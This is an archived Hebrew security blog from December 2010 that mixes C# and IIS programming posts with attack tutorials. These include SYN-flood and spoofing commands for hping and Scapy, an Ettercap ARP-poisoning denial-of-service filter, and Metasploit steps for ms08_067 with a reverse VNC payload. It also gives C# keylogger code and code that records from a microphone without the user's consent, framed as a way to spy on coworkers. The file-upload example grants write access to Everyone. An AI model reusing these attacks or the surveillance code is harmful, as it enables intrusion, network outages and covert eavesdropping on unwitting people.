יום שישי, 31 בדצמבר 2010

C# - Image Processing

ב #C ישנם מחלקות לעיבוד תמונה וגרפיקה נוחות עם אפשריות רבות אבל כבדות לעיבוד, לכן ממולץ לשקול את השימוש במחלקות אלו ,במקרים מסויימים מומלץ להשתמש בשפות יותר נמוכות שהביצועים שלהם יותר מהירים, אבל לפעולות פשוטות ניתן להשתמש ב #C , אני ידגים מספר דוגמאות לעיבוד תמונות.

תחילה יש להכיר את מרחב השמות של המחלקות (Namespace):
System.Drawing

אותו מרחב שמות מכיל בתוכו מרחבי שמות נוספים שמכילים מחלקות אחרות, במקרה שלנו נשתמש ב 2 מרחבי שמות נוספים הקיימים במרחב שמות זה.
System.Drawing.Imaging
מרחב השמות לעיבוד תמונות
System.Drawing.Drawing2D
מרחב שמות לעבודה בדו מימד.

מרחבי שמות נוספים שלא אפרט עליהם במאמר הזה:
System.Drawing.Design
System.Drawing.Printing
System.Drawing.Text

שלב א - קריאת הקובץ לעיבוד והכנסתו לזיכרון
עכשיו נעבור על התהליך הבסיסי לעיבוד תמונה ב Net. , התהליך מכיל בתוכו מספר אובייקטים המשוייכים לאותו מרחב שמות שדיברנו לפני זה ובעצם מתחיל, דבר ראשון, מהתמונה שאנחנו רוצים לערוך כלומר המיקום הפיזי שלה על הכונן הקשיח לאחר מכן יש ליצור מהנתיב של התמונה אובייקט Image ששייך למרחב השמות System.Drawing ובעצם נטען אליו את התמונה מהנתיב שלנו.

שלב ב - מיפוי הקובץ לעיבוד והמרה ל Bitmap
השלב הבא הוא למפות את התמונה בעזרת Bitmap כלומר מטריצה של האינפורמציה הפיקסלית בתמונה.

שלב ג - עיבוד
עיבוד התמונה הוא החלק הרציני בכל התהליך, נשתמש במחלקת ה Graphics , זאת המחלקה שבפועל עושה לנו את עיבוד התמונה ע"י המפה שיצרנו לפני.

שלב ד - שמירת הקובץ המעובד
שמירת התמונה המעובדת כקובץ חדש.

הצצה לתהליך (דוגמה להמרה בין סוגי תמונה שונים):
/// Getting our image by source string
Image myimage = Image.FromFile("C:\myimage.png");

/// Getting our bitmap from the image
Bitmap mybitmap = new Bitmap(myimage);

/// Image processing by graphics class
Graphics mygraphics = Graphics.FromImage(myimage);

/// Saving our processing object
mybitmap.Save("C:\myimage1.jpg",ImageFormat.Jpeg);

קצת על הפרויקט:
הפרויקט מכיל בתוכו 2 חלקים, החלק הראשון הוא ה Gui, מורכב מכמה טפסים שיורשים טופס מרכזי עם כל ה Componets ששותפים לכל הטפסים בעזרת Object Oriented Programming.
החלק השני הוא האובייקט שעושה לנו את העבודה ואליו עוברים הנתונים מה Gui, הוא מעבד אותם ומחזיר לנו אובייקט Image מעובד לתצוגה או לשמירה.
הדוגמאות בפרויקט:
  • הקטנה \ הגדלת תמונה
  • חיתוך תמונה
  • שמירת תמונה באיכות שונה
  • סיבוב תמונה
  • שילוב 2 תמונות לתמונה
  • שקיפות התמונה
סרטון הדגמה:

הורדת הפרויקט:

בהצלחה...

יום שני, 27 בדצמבר 2010

Inguma - Starting Guide

כלי Penetration Test נוסף שקיים ב Backtrack ,הוא נכתב ע"י Joxean Koret בשנת 2006 ומאז יצאו מספר גרסאות, גם הוא מבוסס על  שפת Python בדומה ל Scapy, מאפשר מגוון רחב של אפשריות החל מסריקת פורטים עד הפעלת Exploits ו Fuzzers.


 יש לכלי הזה הרבה אפשריות נחמדות שניתן להשיג גם בכלים אחרים אבל עדיין הוא מומלץ לשימוש לפי דעתי בגלל הפשטות והיעילות שלו, הוא מכסה התקפות רבות, ובשנת 2007 נבחר מקום שני כתוכנת האבטחה הטובה ביותר ע"י security-database.com.

התוכנה מאוד מזכירה את Scapy בצורת העבודה, ובעצם עובדים עם אובייקטים ופקודות כחלק מ Python וגם פה יש לנו אובייקט שאותו צריך להגדיר בשונה מ Scapy שעשתה לנו חבילות מידע "מלוכלכות" פה האובייקט לא מדבר על ה Packet עצמו אלא יותר בכיוון המכונה שאנו מעוניינים לתקוף ובעצם הפרמטרים הרבה יותר פשוטים להעמסה ולא צריך להיות גאון Tcp/ip  על מנת להפעיל אותה.

הכלי נוגע במספר עולמות:

  • חשיפות של שירותים על הקורבן.
  • איסוף אינפורמציה על הקורבן.
  • התקפות Brute Force על הקורבן.
  • הפעלות Fuzzer על תוכנות שרצות על הקורבן.
  • הפעלת Exploits על הקורבן.
inguma> show options
מציגה לנו את האובייקט של המטרה שלנו



העמסת המטרה:
inguma> target = '192.168.1.105'

בחירת Port:
inguma> port = 80


פונקציות:

inguma> identify
יחזיר לנו את ה Service שעובד על הפורט.

inguma> tcpscan
יחזיר לנו את הפורטים שפתוחים לנו במכונה בפרוטוקול Tcp

inguma> isnated
אם הפורט מאחורי NAT

inguma> whois
חיפוש של ה Hostname בשרתי Dns.

inguma> arping
קבלת MAC address של המטרה.

inguma> fakearp
זיוף Arp

inguma> nikto
חיפוש קבצים לא מאובטחים על ה Web server

inguma> arppoison
Arp Poisoning

קיימים בתוכו עוד מספר כלים נוספים כמו: Sniffer, Smbclient ולהם אפשריות נפרדות.
inguma> sniffer
SNIFFER> help
SNIFFER> run




יש 2 תוספות נוספות ,הן מופעלות בנפרד ומשתמשות בסקריפטים של Inguma:

OpenCid - כלי לחיפוש חולשות אבטחה בקבצים בינארים.
Krash - זה הוא ה Fuzzer שמגיע עם Inguma שעליו אני אפרט איך לתקוף Web server.

שלב ראשון - הכנות:
לכידת Packet של ה Get  שעוברת מהתוקף לנתקף, ניתן לבצע את הלכידה בעזרת WireShark.



ה Packet שלנו יראה משהו כזה



נשמור את הקובץ לדוגמה: http_packet.http בספריה
#: /pentest/exploits/inguma/krash/audits/http_packet.http

שלב שני - הפעלת ה Fuzzer:
#: /pentest/exploits/inguma/krash/ ./krash.py audits/http_packet.http 192.168.1.105 0

שלב שלישי - בדיקות:
ה Fuzzer יערבל לנו את ה Packet ויוסיף לתוכו תוספות שבעזרתם ינסה להפיל את השירות של ה Web Server על מנת לראות אם זה עובד נחזור בחזרה ל WireShark ונראה אם תוכן ה Packet המקורי שאספנו בהתחלה השתנה.



לאתר Inguma

בהצלחה... 

יום שבת, 18 בדצמבר 2010

File Upload With Flex And IIS 7

העברת קבצים ב Flash זה עניין מסובך שמצריך הכנות ובדיקות, התהליך מורכב מ 3 שלבים , השלב הראשון הוא ההגדרות של המערכת: IIS,הרשאות כתיבה בספריות ופתיחת פורטים השלב הבא הוא פיתוח האתר שאיתו ה Flex הולך לדבר, ושלב אחרון הוא פיתוח מנגנון העלאה ב Flex.

הגדרות מערכת
תחילה יש להגדיר את גודל המידע שיכול לעבור ואח"כ את גודל כל דרישה בשביל אותו מידע , ב IIS7  גודל המידע ה Default הוא  30 מגה ,אבל ניתן לדרוס את הפרמטר הזה בקובץ ApplicationHost שהוא בעצם קובץ XML שמכיל את הפרמטרים של ה IIS, בזמן טעינת האתר ה IIS טוען את הקובץ ולאחר מכן הוא טוען את ה Web.Config שמכילים את הפרמטרים של האתר העצמו.

ApplicationHost.config
תחילה נערוך את קובץ
C:\Windows\System32\inetsrv\config\applicationHost.config

נחפש את הבלוק שמגדיר את האתר שלנו ב ApplicationHost  (חשוב מאוד לגבות את הקובץ!) :

<location path="Your Website Name">
        <system.webserver>
           <security>
                        <requestfiltering>
                        <requestlimits maxallowedcontentlength="104857600">
                        </requestfiltering>
          </security>
          </system.webserver>
</location>
 
ברוב המצבים תגית האתר כבר מוגדרת ויש לוודא שקיימת גם תגית ה Security ואם לא להוסיף אותה.
ניתן לעשות את התהליך גם ב AppCmd שהיא אפליקצית Console שמגיע עם ה IIS 7 וניתן בעזרת לערוך את קובץ ה ApplicationHost ללא צורך לפתוח אותו , ובעצם למנוע תקלות בעקבות כתיבה לא נכונה.
 
C:\Windows\System32\inetsrv>appcmd set config "Your Website Name" -section:requestFiltering -requestLimits.maxAllowedContentLength:104857600 -commitpath:apphost
 
maxAllowedContentLength:104857600 מגדיר גודל של המידע שניתן להעביר, במקרה שלנו הגדלנו אותו ל 100 MB.
 
Web.config
נוסיף את הבלוק הבא בתוך התגית <system.web>(חשוב מאוד לגבות את הקובץ!) :
<httpRuntime executionTimeout="90" maxRequestLength="4096" />

maxRequestLength=2097151 הגדרנו את גודל של בקשה, בעצם 2 מגה.

Asp.net

האתר שלנו הוא מבוסס על Asp.net , המבנה שלו מאוד פשוט יש לנו ספרייה שמאחסנת לנו את הקבצים שנעלה לשרת, חשוב מאוד לתת לה הרשאות על מנת שנוכל לכתוב לספרייה, לצורך הדוגמה ניתן גישה ל Everyone.

יש לנו 2 קבצי Asp.net באתר ,הראשון הוא ה Upload Handler שתוכנת ה Flex שלנו מתחברת על מנת לשלוח את הקובץ לשרת, ודף נוסף שמציג לנו את ה Uploader עצמו.

upload_handler.aspx.cs

פונקציה אחת שבעצם שומרת לנו את הקבצים שאנו שולחים לספריית האחסון.

 protected void Page_Load(object sender, EventArgs e)
{
       string fileName = System.IO.Path.GetFileName(Request.Files[i].FileName);
       Request.Files[i].SaveAs(Server.MapPath("~/UploadedFiles/") + fileName);
upload_manager.aspx
דף שמכיל לנו את אובייקט ה Flesh  שמעלה קבצים.
חשוב מאוד להגדיר Cross Domain Policy , שנוכל להעלות מכל שרת, או מרשתות שמורשות לכך.

Flex

אפליקצית ה Flex מורכבת ממספר פונקציות:
פונקצית Start
זאת הפוקציה שמתחילה את התוכנה ומוסיפה מאיזינים (listeners) עבור אירועים בכפתורים.

פונקצית eventRespnse
פותחת לנו את ה File Dialog שנוכל לבחור קבצים.

פונקצית selectResponse
מחזירה לנו את כל הקבצים שנבחרו להעלאה.

פונקצית UploadFiles
הפונקציה ששולחת את הקובץ לשרת, תחילה היא קוראת לקובץ upload_handler ואח"כ מתחילה בשליחת הקובץ.

פונקצית uploadComplete
כשהעלאת הקובץ מסתיימת, עולה לנו אירוע שאומר שאפשר לשלוח את הקובץ הבא.

Gui
הממשק מורכב מ - Button,Labels,Progress Bar


סרטון הדגמה:


קוד להורדה:

בהצלחה...

יום שלישי, 14 בדצמבר 2010

Hping - Starting Guide

פלטפורה שמזכירה מאוד את Scapy , רק שפה לא מדובר בכתיבת קוד ב Python אלא בתוכנה של ממש המקבלת Arguments , התכונה העיקרית כמו אצל Scapy והיא יצור של חבילות מידע "מלוכלכות" על מנת לבדוק מערכות: FireWall, IPS,IDS ועוד.
מגוון האפשריות בה מצומצם אך עדיין יעיל מאוד, מאפשרת שימוש בפרוטוקולים: TCP,ICMP,IP,UDP ועבודה עם קבצים ,צורת העבודה ידידותית מאשר מ Scapy מה שהופך אותה לכלי פופולרי מאוד בקרב האקרים.
המאמר נכתב על BackTrack 4.

תחילה נפתח חלון Console ונרשום:
#: haping -help
נראה את כל הפרמטרים להעמסה בתוכנה.

Syn-Flood Attack
#: hping -i u1 -S -p 80 192.168.1.105

שליחה מאוד מהירה של חבילות מידע עם דגל Syn , שבפועל יוצר עומס על הקורבן עד שמבאים ל Denial Of Service, בעקבות עומס על המעבד, אחרי שהבנו מה שלחנו נפרק את המשפט לחלקים:

-i u1 - Interval
מספר חבילות פרק זמן למשל u10000 זה 10 חבילות בשניה.

-S - Syn Flag
פרמטר זה קובע שהחבילה שלנו היא Syn אבל ניתן לבחור חבילות נוספות Syn,Rst,Fin,Push,Ack,Urg,Xmas.

-p - Dest Port
הפורט של הקורבן.

Port Scan
#: hping 192.168.1.105 -V --scan 100-110

סריקת פורטים של הקורבן בין פורט 100 ל 110


Spoof
#: hping 192.168.1.105 --udp --spoof 192.168.1.150

שליחת חבילות מידע מכתובת מזויפת.


2Flags Packet
#: hping 192.168.1.105 -S -A -V -p 443

שליחה חבילה עם דגל נוסף
סרטון הדגמה:

בהצלחה...

יום שני, 13 בדצמבר 2010

Scapy - Starting Guide

אחד הכלים המומלצים ליצירת Packets "מלוכלכים", חבילות מידע העוברות ברשת ויכולות ליצור תקלות מכוונות על מנת לבצע מגוון רחב של התקפות כמו: Denial Of Service, Exploits,Arp Poisoning ועוד.
היא מבוססת על שפת Python, ניתנת לשינוי ע"י המשתמש, כמובן כל הפרויקט הוא Open Source ובעצם היא ערכת סקריפטים ענקית וניתן להריץ בה Exploits  בכמה שורות מאשר לכתוב את ה Exploit ב C, עושים בה המון בדיקות חדירות ובדיקות למערכות IPS / IDS כמו SNORT.

מאמר זה נעשה על Backtrack 4:


המערכת פותחת לנו Command Line של Python ועכשיו נשתמש לנו באובייקטים של Scapy.

פקודת conf:
מראה לנו את הפרמטרים הגלובלים לתוכנה וניתנים לשינוי ע"י המשתמש.
>>> conf
>>> conf.session = '1'
עכשיו בעצם שינינו את ה Session לערך 1.

פקודת ()ls:
מציגה את רשימת ה Packets השמורים ב Scapy שאותם המשתמש יכול לשנות ע"פ רצונו.

בניית אובייקט IP:
הצהרה על האובייקט
>>> ip = IP(dst="192.168.1.105")
הגדרנו אובייקט של IP שמצביע על כל הכתובת שאותה אנחנו רוצים לתקוף.
>>>ip.show()
מציג לנו את הפרמטרים שניתנים לשינוי בתוך האובייקט.


במקרה שנרצה לעשות Spoof נשנה את ה src לאיזה כתובת שנרצה להתחזות לה.
>>> ip.src = "77.120.20.12"

יצירת אובייקט Protocol:
הצהרה על הפרוטוקול
>>> p = TCP()
יצרנו אובייקט מסוג פרוטוקול של TCP, אבל ניתן להגדיר סוגים רבים של פרטוקלים כמו ICMP,UDP,PPP ועוד.

הצגת הפרמטרים של הפרוטוקול
>>> p.show()

ניתן לשנות את הפרמטרים של הפרוטוקול באובייקט
>>> p.flags ="FS"

הצהרנו על הדגלים של Fin ו Syn שבעצם צירופם ביחד הוא לא הגיוני מבחינת מבנה הפרוטוקול, Fin מגדיר סיום תקשורת עם השולח וSyn מנסה לפתוח חיבור עם השולח ולכן הם מנוגדים או שילוב של Fin ו Rst שבצם סוגר את החיבור ומנסה לעשות Reset לחיבור שכבר סגור, ניתן לבדוק בעזרת שילובים אלה כיצד מערכת ההפעלה או ה Firewall מגיבים.

שליחת ה Packet:
>>> send(ip/p)
ניתן לשלוח את ה Packet מספר פעמים
>>> send([ip/p] * 300)
שלחנו את החבילה 300 פעמים.



התקפות נוספות לדוגמה:
Port Scan:
res,unasns = sr(IP(dst="192.168.1.1") /TCP(flags="S",dport(1,1024)))

Ping Of Death:
for p in fragment(IP(dst="192.168.1.1")/ICMP()/("X"*60000)):send(p)

Request MAC Address:
res,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") /ARP(pdst="192.168.1.0/24"))
 
*ניתן לקבל תוצאות לתוך משתנה לדוגמה res שלמעלה , על מנת להציג את התוצאות נרשום
res.show()
 
לאתר Scapy:
 
בהצלחה...

יום שבת, 11 בדצמבר 2010

Ettercap - Denial Of Service Attack

Ettercap היא חבילת כלים של Man In The Middle Attack עבור רשתות , ניתן לבצע Sniffing ו Filtering לחיבורים קיימים בעזרת Arp Poisoning ,החבילה הזאת נמצאת בשוק כבר משנת 2001 , ובהחלט יצרה באז רציני בנושא, היא באה כחלק מ BackTack אבל ניתן להוריד אותה לכל מערכת Linux וגם לה יש ממשקים שונים: Ettercap שבסגנון ה Console ו Ettercap-GTK שהוא ה Gui ומאוד נוח.

במאמר זה אני יסביר כיצד ניתן לבצע התקפת Denial Of Service על מחשב שנמצא איתנו ברשת, תחילה יש לכתוב לנו סקריפט שיבצע את הפעולה, הסקריפט שלנו הולך להפיל כל Packet שהיעד שלה הוא הקורבן שלנו:

If(ip.src == '192.168.1.105' || ip.dst == '192.168.1.105')
{
  drop();
  kill();
}
מה שאומרת הפיסת קוד הזאת היא לא משנה אם ה Packet מיועד למכונה 192.168.1.105 או שהמכונה מנסה להוציא Packet החוצה תפיל אותה, נשמור לנו את הקוד כ dos.eft

*למשתמשי BackTrack ניתן לרשום את הקוד בעזרת Kate או בכול עורך טקסט אחר, יש לשמור את הקוד בספריה של Ettercap , אבל גם זה לא חובה.
/usr/share/ettercap

לאחר ששמרנו את הקובץ אנחנו צריכים לעשות לו Compile אחד הכלים שמגיעים עם Ettercap הוא ה EttercapFilter זה כלי שיהפוך את הקוד שרשמנו לסקריפט פעיל.

יש להריץ את הפקודה בתוך הספרייה של Ettercap

root@bt:/usr/share/ettercap# etterfilter dos.eft -o dos.ef



עכשיו לאחר שסיימנו להכין לנו את הקוד של ההתקפה נפעיל את Ettercap.

תחילה נגדיר לנו את הכרטיס שעליו אנחנו רוצים לעבוד Sniff - > Unified Sniffing.


לאחר מכן נעשה סריקה למחשבים שעל הרשת  Host -> Scan for hosts




נוסיף את התחנה שאנו מעוניינים לתקוף ל Target שלנו Target -> Current Targets
נוסיף אותה לקבוצה Target 1




עכשיו על מנת שכל העסק יעבוד צריכים להפעיל את  Arp Poisoning על מנת שכל התקשורת שיוצאת מהמחשב המותקף תעבור קודם דרכנו ורק אח"כ תצא לעולם.
Mitm -> Arp Poisoning
להשאיר את ה CheckBox ריקים.



מה שנשאר לנו לעשות זה להריץ את הסקריפט שלנו Filters -> Load Filter


נבחר לנו את הקובץ ש EttercapFilter יצר לנו dos.ef ובעצם התחלנו את ההתקפה.



לעוד פרטים על Ettercap ניתן להיכנס לאתר הפרויקט:
בהצלחה...

יום שישי, 10 בדצמבר 2010

Windows KeyLogger

תחילה נראה שבלתי אפשרי לפתח KeyLogger בעזרת #C כי צריך לרדת ל Driver של ה Keyborad בתוך ה Kernel או לפתח Driver שהיה משורשר עם ה Driver של ה Keyborad מסתבר שניתן לעשות זאת בעזרת Keyborad Hook, בעצם פנייה לפונקציות שבתוך הספריות של מערכת ההפעלה ולשאוב מהם את המידע בנוגע למקלדת.

תחילה יש להבין עם איזה קבצים של מערכת ההפעלה צריך לעבוד על מנת לאפשר האזנה למקלדת:
User32.dll
Kernel32.dll

הצהרה על External Function:

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
 
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
 
הצהרה על Delegate שיצביע לנו על הלחיצה על המקלדת:
 
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
 
הצהרה על 2 ערכים קבועים:
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
 
נחבר את ה Delegate  שעליו הצהרנו מקודם לפונקציה HookCallback
 
 private static LowLevelKeyboardProc _proc = HookCallback;

הפונקציה שתופסת את הערך שחוזר מה Delegate וממירה את integer ל Char

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
   if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
   {
     int vkCode = Marshal.ReadInt32(lParam);
     Console.WriteLine((Keys)vkCode);
     return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }
}
 
סרטון הדגמה:

ניתן להוריד את הקוד:
keylogger

ע"פ בדיקות שעשיתי זה עובד גם ב Windows Xp וגם ב Windows 7

בהצלחה...

יום רביעי, 8 בדצמבר 2010

WireTapping Windows

עם כניסת ה Skype ומערכות ה Voip נושא האזנות סתר נהפך להיות עסק פשוט יותר, בעבר היו צריכים להתקין כל מיני מיכשורים בבית או לעלות על הקן דרך המרכזיה של בזק משהו שיחסית סיבך את העסק, היום  האינטרנט והעולם הדיגיטלי חיזק מאוד את נושא הריגול ופתח עולמות חדשים בצורה ,בפשטות ובזמינות.

כיום למרבית האנשים יש מיקרופון שנמצא במחשב אם במחשב נייד מובנה או במחשב נייח שמבצע שיחות ב Skype או דרך Voip.

הדרך להאזנת שיחות היא פשוטה בכל מחשב עם כרטיס קול סטנדרטי יש מיקסר וירטואלי שאחראי לכניסות ויציאות האודיו במחשב בעזרת קוד ומחלקה שנדבר עליה בהמשך ניתן להפעיל את המיקרופון ללא צורך של אישור המשתמש ואפשר להקליט את השיחה ולשלוח אותה לשרת מרוחק ואפילו לשלב אותה עם RootKit על מנת להסתיר לגמרי את תוכנת ההקלטה הקטנה שיצרנו.

השיחות שנקליט הם לא השיחות שעוברות במחשב עצמו אלא את הסביבה שבה המחשב נמצא, נניח שנרצה להאזין לצוות תוכנה שעובד על פרויקט סודי שלאחד מהעובדים יש מיקרופון שאיתו הוא מבצע שיחות עם עובד במדינה מרוחקת בזמנים ששאר הצוות לא נוכח אומנם עשינו חצי דרך ואנחנו מקליטים את כל מה שעובר במיקרופון אבל את מה שעובר לו באוזניות נפספס ולא נשמע למרות שאם מחוברים רמקולים סביר להניח שנצליח לקלוט קצת מהאודיו דרך המיקרופון תלוי עד כמה הוא רגיש אבל את נושא האזנת השיחה במחשב נשמור לפרויקט אחר ,כמו שאמרתי נניח שבזמן שהצוות נמצא אותו עובד שמדבר עם העובד המרוחק לא יוזם את השיחה עדיין נוכל להפעיל במקומו את המיקרופון ולצוטט לשיחות שמנהל הצוות בסביבת עבודה שלו ולרגל לנו אחרי הפרויקט ואם אותו עובד מציג את הפרויקט באיזה הרצאה סודית נוכל להאזין גם לה.

אז איך בדיוק עושים את זה?
אני יסביר איך מתבצע תהליך ההקלטה בלבד, וללא כל תוספות הקשורות בשליחת הקובץ או בהסתרתו.

Winmm.Dll
זאת המחלקה האחראית על האודיו של מערכת ההפעלה.

דבר ראשון הצהרה על פונקציה חיצונית - External Function

 [DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]


private static extern int mciSendString(string lpstrCommand, string lpstrReturnString, int uReturnLength, int hwndCallback);
 
מחלקה זאת מקבלת פקודות כ String וע"פ מה שנשלח היא עובדת.
 
נבנה לנו 2 פונקציות הראשונה מבצעת את ההקלטה והשנייה עוצרת אותה ויוצרת ממנה קובץ:
 
public void record_voice()
{
mciSendString("open new Type waveaudio Alias recsound", "", 0, 0);
mciSendString("record recsound", "", 0, 0);
}

public void savefile()
{
mciSendString("save recsound c:\\record.wav", "", 0, 0);
mciSendString("close recsound ", "", 0, 0);
}
*הסימון באדום מסמן את הפקודה שנשלחת כ String.

עכשיו נשאר לנו לתזמן את הפונקציות האלו מתי יתחילו להקליט ומתי הן יסיימו.

ניתן להוריד את הפרויקט לדוגמה:

יום שלישי, 7 בדצמבר 2010

Metasploit Framework Starting Guide



כמו שאמרתי במאמר הקודם על Metasploit ניתן לעבוד עם ה Framework בכמה דרכים, 2 הדרכים הנוחות יותר לעבודה הן ה GUI וה WEB שם הכל מוגש על מגש של זהב מה שנשאר לך זה לבחור את ה Exploit שאתה רוצה ופשוט להפעיל אותו בסביבה כלכך נוחה אבל האקרים אמיתיים מעדיפים את ה Console למרות שלפעמים אתה שואל את עצמך למה?! הרי יש לך ממשקים כלכך נוחים ועדיין מעדיפים את ה Console אבל כנראה שהרגלים לא פשוט לשנות והפעם אני יסביר איך משתמשים ב Console .

אני יסביר את העבודה עם ה Console ע"ג BACKTRACK.

דבר ראשון נפעיל את ה Console



על מנת לראות את כל ה Exploits שב Framework

msf > show exploits
על מנת להשתמש ב Exploit
msf > use windows/smb/ms08_067_netapi

לאחר שבחרנו את ה Exploit נראה איזה Payloads ניתן לטעון בו:
msf > show payloads

על מנת לראות את הפרמטרים שב Exploit
msf > show options

טעינת הפרמטרים בערכים:
msf > set RHOST 192.168.1.105

טעינת ה Payload ל Exploit
msf > set payload windows/vncinject/reverse_tcp

הפעלת ה Exploit
msf > exploit

והפעלתם את ה Exploit.

בהצלחה...

יום שישי, 3 בדצמבר 2010

Laping Version 2

הרבה זמן חיפשתי כלי נוח עבור בדיקת תקשורת של פורטים בין מחשבים, כמובן ישנם המון כלים מהסוג הזה בעולם, החלטתי בסופו של דבר לפתח אחד כזה בעצמי בשימוש פלטפורמה ה .net של מיקרוסופט כ Console Application.



ניתן להוריד את הקוד באופן חופשי ולהשתמש בו בלי שום הגבלות, זה כלי ראשון מסדרת כלים חינמים שאני יוציא עבור הבלוג הזה.

קצת על האפשרויות:

1.בדיקה של מרחב פורטים.
2.כתיבת התוצאות לקובץ.
3.רשימה ידועה של Services.

קצת על הקוד:

שימוש באובייקטים של ה Namespace.system.net
1.TcpClient
2.UdpClient

שימוש באובייקטים של ה Namespace.system.io
1.FileStream
2.StreamWriter

סה"כ הקוד מאוד פשוט.

כיצד משתמשים:

התוכנה מקבלת קבוצת Arguments.

בדיקה של IP ופורט בודד:
laping -i 192.168.1.100 - p 80
בדיקה של מרחב של פורטים:
laping -i 192.168.1.100 -g 1-500
בדיקה של מרחב של פורטים וכתיבה לקובץ:
laping -i 192.168.1.100 -g 1-500 -l c:\portstatus
ניתן לבדוק Service ישירות:
laping -i 192.168.1.100 -s http
מסך העזרה:
laping -h
רשימת Services ידועים:
laping -sh

ניתן להוריד 2 גרסאות שונות:

ניתן להוריד את הקוד:

סרטון הדגמה:

בהצלחה...